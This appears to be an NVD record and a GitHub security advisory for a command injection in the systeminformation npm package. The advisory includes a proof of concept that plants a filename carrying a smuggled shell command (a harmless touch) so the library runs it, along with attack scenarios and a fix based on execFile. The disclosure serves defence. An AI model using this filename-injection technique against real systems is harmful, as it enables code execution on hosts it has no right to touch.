{
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "systeminformation is a System and OS information library for node.js. Versions prior to 5.31.0 are vulnerable to command injection via unsanitized `locate` output in `versions()`. Version 5.31.0 fixes the issue."
    }
  ],
  "id": "CVE-2026-26318",
  "lastModified": "2026-02-20T13:49:47.623",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "LOCAL",
          "availabilityImpact": "HIGH",
          "baseScore": 8.8,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "CHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.0,
        "impactScore": 6.0,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-02-19T20:25:44.063",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/sebhildebrandt/systeminformation/commit/b67d3715eec881038ccbaace2f2711419ac3e107"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/sebhildebrandt/systeminformation/security/advisories/GHSA-5vv4-hvf7-2h46"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Undergoing Analysis",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-78"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.30.7"
      },
      "package": {
        "ecosystem": "npm",
        "name": "systeminformation"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.31.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-26318"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-18T22:36:50Z",
    "nvd_published_at": "2026-02-19T20:25:44Z",
    "severity": "HIGH"
  },
  "details": "# Command Injection via Unsanitized `locate` Output in `versions()` \u2014 systeminformation\n\n**Package:** systeminformation (npm)  \n**Tested Version:** 5.30.7  \n**Affected Platform:** Linux  \n**Author:** Sebastian Hildebrandt  \n**Weekly Downloads:** ~5,000,000+  \n**Repository:** https://github.com/sebhildebrandt/systeminformation  \n**Severity:** Medium  \n**CWE:** CWE-78 (OS Command Injection)  \n\n---\n\n### The Vulnerable Code Path\n\nInside the `versions()` function, when detecting the PostgreSQL version on Linux, the code does this:\n\n```javascript\n// lib/osinfo.js \u2014 lines 770-776\n\nexec(\u0027locate bin/postgres\u0027, (error, stdout) =\u003e {\n  if (!error) {\n    const postgresqlBin = stdout.toString().split(\u0027\\n\u0027).sort();\n    if (postgresqlBin.length) {\n      exec(postgresqlBin[postgresqlBin.length - 1] + \u0027 -V\u0027, (error, stdout) =\u003e {\n        // parses version string...\n      });\n    }\n  }\n});\n```\n\nHere\u0027s what happens step by step:\n\n1. It runs `locate bin/postgres` to search the filesystem for PostgreSQL binaries\n2. It splits the output by newline and sorts the results alphabetically\n3. It takes the **last element** (highest alphabetically)\n4. It concatenates that path directly into a new `exec()` call with `+ \u0027 -V\u0027`\n\n**No `sanitizeShellString()`. No path validation. No `execFile()`. Raw string concatenation into `exec()`.**\n\nThe `locate` command reads from a system-wide database (`plocate.db` or `mlocate.db`) that indexes all filenames on the system. If any indexed filename contains shell metacharacters \u2014 specifically semicolons \u2014 those characters will be interpreted by the shell when passed to `exec()`.\n\n---\n\n## Exploitation\n\n### Prerequisites\n\nFor this vulnerability to be exploitable, the following conditions must be met:\n\n1. **Target system runs Linux** \u2014 the vulnerable code path is inside an `if (_linux)` block\n2. **`locate` / `plocate` is installed** \u2014 common on Ubuntu, Debian, Fedora, RHEL\n3. **PostgreSQL binary exists in the locate database** \u2014 so `locate bin/postgres` returns results (otherwise the code falls through to a safe `psql -V` fallback)\n4. **The attacker can create files on the filesystem** \u2014 in any directory that gets indexed by `updatedb`\n5. **The locate database gets updated** \u2014 `updatedb` runs daily via systemd timer (`plocate-updatedb.timer`) or cron on most distros\n\n### Step 1 \u2014 Verify the Environment\n\nOn the target machine, confirm locate is available and running:\n\n```\nwhich locate\n# /usr/bin/locate\n\nsystemctl list-timers | grep plocate\n# plocate-updatedb.timer    plocate-updatedb.service\n# (runs daily, typically around 1-2 AM)\n```\n\nCheck who owns the locate database:\n\n```\nls -la /var/lib/plocate/plocate.db\n# -rw-r----- 1 root plocate 18851616 Feb 14 01:50 /var/lib/plocate/plocate.db\n```\n\nDatabase is root-owned and updated by root. Regular users cannot update it directly, but `updatedb` runs on a daily schedule and indexes all readable files.\n\n### Step 2 \u2014 Craft the Malicious File Path\n\nThe key insight is that **Linux allows semicolons in filenames**, and `exec()` passes strings through `/bin/sh -c` which **interprets semicolons as command separators**.\n\nCreate a file whose path contains an injected command:\n\n```\nmkdir -p \"/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin\"\ntouch \"/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres\"\n```\n\nVerify it exists:\n\n```\nfind /var/tmp -name postgres\n# /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres\n```\n\nThis file needs to end up in the `locate` database. On a real system, this happens automatically when `updatedb` runs overnight. For testing purposes:\n\n```\nsudo updatedb\n```\n\nThen verify locate picks it up:\n\n```\nlocate bin/postgres\n# /usr/lib/postgresql/14/bin/postgres\n# /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres\n```\n\n### Step 3 \u2014 Understand the Sort Trick\n\nThe vulnerable code sorts the locate results alphabetically and takes the **last** element:\n\n```javascript\nconst postgresqlBin = stdout.toString().split(\u0027\\n\u0027).sort();\nexec(postgresqlBin[postgresqlBin.length - 1] + \u0027 -V\u0027, ...);\n```\n\nAlphabetically, `/var/` sorts **after** `/usr/`. So our malicious path naturally becomes the selected one:\n\n```\nNode.js sort order:\n  [0] /usr/lib/postgresql/14/bin/postgres   \u2190 legitimate\n  [1] /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres   \u2190 selected (last)\n```\n\nQuick verification:\n\n```\nnode -e \"\nconst paths = [\n  \u0027/usr/lib/postgresql/14/bin/postgres\u0027,\n  \u0027/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres\u0027\n];\nconsole.log(\u0027Sorted:\u0027, paths.sort());\nconsole.log(\u0027Selected (last):\u0027, paths[paths.length - 1]);\n\"\n```\n\nOutput:\n\n```\nSorted: [\n  \u0027/usr/lib/postgresql/14/bin/postgres\u0027,\n  \u0027/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres\u0027\n]\nSelected (last): /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres\n```\n\n### Step 4 \u2014 Trigger the Vulnerability\n\nNow when any application using systeminformation calls `versions()` requesting the postgresql version, the injected command fires:\n\n```javascript\nconst si = require(\u0027systeminformation\u0027);\n\n// This is a normal, innocent API call\nsi.versions(\u0027postgresql\u0027).then(data =\u003e {\n  console.log(data);\n});\n```\n\nInternally, the library builds and executes this command:\n\n```\n/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres -V\n```\n\nThe shell (`/bin/sh -c`) interprets this as three separate commands:\n\n```\n/var/tmp/x                         \u2192  fails silently (not executable)\ntouch /tmp/SI_RCE_PROOF            \u2192  ATTACKER\u0027S COMMAND EXECUTES\n/bin/postgres -V                   \u2192  runs normally, returns version\n```\n\n### Step 5 \u2014 Verify Code Execution\n\n```\nls -la /tmp/SI_RCE_PROOF\n# -rw-rw-r-- 1 appuser appuser 0 Feb 14 15:30 /tmp/SI_RCE_PROOF\n```\n\nThe file exists. Arbitrary command execution confirmed.\n\nThe injected command runs with **whatever privileges the Node.js process has**. In a monitoring dashboard or backend API context, that\u0027s typically the application service account.\n\n---\n\n## Real-World Attack Scenarios\n\n### Scenario 1 \u2014 Shared Hosting / Multi-Tenant Server\n\nA low-privileged user on a shared server creates the malicious file in `/tmp` or their home directory. The hosting provider runs a monitoring agent that uses `systeminformation` for health dashboards. Next time the agent calls `versions()`, the attacker\u0027s command executes under the monitoring agent\u0027s (higher-privileged) service account.\n\n### Scenario 2 \u2014 CI/CD Pipeline Poisoning\n\nA malicious contributor submits a PR that includes a build step creating files with crafted names. If the CI pipeline uses `systeminformation` for environment reporting (common in test harnesses and build dashboards), the injected commands execute in the CI runner context \u2014 potentially leaking secrets, tokens, and deployment keys.\n\n### Scenario 3 \u2014 Container / Kubernetes Escape\n\nIn containerized environments where `/var` or `/tmp` sits on a shared volume, a compromised container creates the malicious file. When the host-level monitoring agent (running `systeminformation`) calls `versions()`, the injected command executes on the host, breaking out of the container boundary.\n\n---\n\n## Suggested Fix\n\nReplace `exec()` with `execFile()` for the PostgreSQL binary version check. `execFile()` does not spawn a shell, so metacharacters in the path are treated as literal characters:\n\n```javascript\nconst { execFile } = require(\u0027child_process\u0027);\n\nexec(\u0027locate bin/postgres\u0027, (error, stdout) =\u003e {\n  if (!error) {\n    const postgresqlBin = stdout.toString().split(\u0027\\n\u0027)\n      .filter(p =\u003e p.trim().length \u003e 0)\n      .sort();\n    if (postgresqlBin.length) {\n      execFile(postgresqlBin[postgresqlBin.length - 1], [\u0027-V\u0027], (error, stdout) =\u003e {\n        // ... parse version\n      });\n    }\n  }\n});\n```\n\nAdditionally, the locate output should be validated against a safe path pattern before use:\n\n```javascript\nconst safePath = /^[a-zA-Z0-9/_.-]+$/;\nconst postgresqlBin = stdout.toString().split(\u0027\\n\u0027)\n  .filter(p =\u003e safePath.test(p.trim()))\n  .sort();\n```\n\n---\n\n## Disclosure\n\n- **Reported via:** GitHub Private Security Advisory\n- **Advisory URL:** https://github.com/sebhildebrandt/systeminformation/security/advisories/new\n- **Security Contact:** security@systeminformation.io",
  "id": "GHSA-5vv4-hvf7-2h46",
  "modified": "2026-02-19T21:57:18Z",
  "published": "2026-02-18T22:36:50Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/sebhildebrandt/systeminformation/security/advisories/GHSA-5vv4-hvf7-2h46"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26318"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sebhildebrandt/systeminformation/commit/b67d3715eec881038ccbaace2f2711419ac3e107"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/sebhildebrandt/systeminformation"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Command Injection via Unsanitized `locate` Output in `versions()` \u2014 systeminformation"
}